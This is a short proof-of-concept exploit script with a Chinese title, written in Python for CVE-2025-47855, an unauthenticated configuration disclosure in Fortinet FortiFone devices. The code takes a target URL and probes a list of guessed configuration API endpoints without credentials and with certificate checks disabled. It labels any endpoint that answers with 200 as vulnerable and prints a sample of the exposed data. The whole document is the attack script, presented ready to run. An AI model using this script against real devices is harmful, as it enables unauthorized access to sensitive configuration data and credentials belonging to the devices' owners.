CVE-2025-47855 FortiFone未授权敏感信息泄露漏洞

import requests import sys # CVE-2025-47855 PoC - FortiFone Information Disclosure # Target: Fortinet FortiFone devices # Affected: 7.0.0-7.0.1, 3.0.13-3.0.23 def exploit_fortifone(target_url): """ Exploit for CVE-2025-47855: Unauthenticated configuration disclosure """ # Common configuration endpoints that may expose sensitive data endpoints = [ '/api/v1/config', '/api/config', '/cgi/config.cgi', '/fcgi/config.fcgi', '/api/v1/system/config', '/api/v2/config/system', '/config/system', '/api/system/info' ] print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2025-47855 PoC - FortiFone Information Disclosure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Content-Length: {len(response.content)}") print(f"[+] Sample data: {response.text[:500]}...") print("-" * 60) elif response.status_code == 401: print(f"[-] Protected: {endpoint} (401 Unauthorized)") else: print(f"[*] Endpoint: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print("\n[*] Scan complete. If vulnerable, configuration data was exposed.") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://192.168.1.100") sys.exit(1) target = sys.argv[1] exploit_fortifone(target)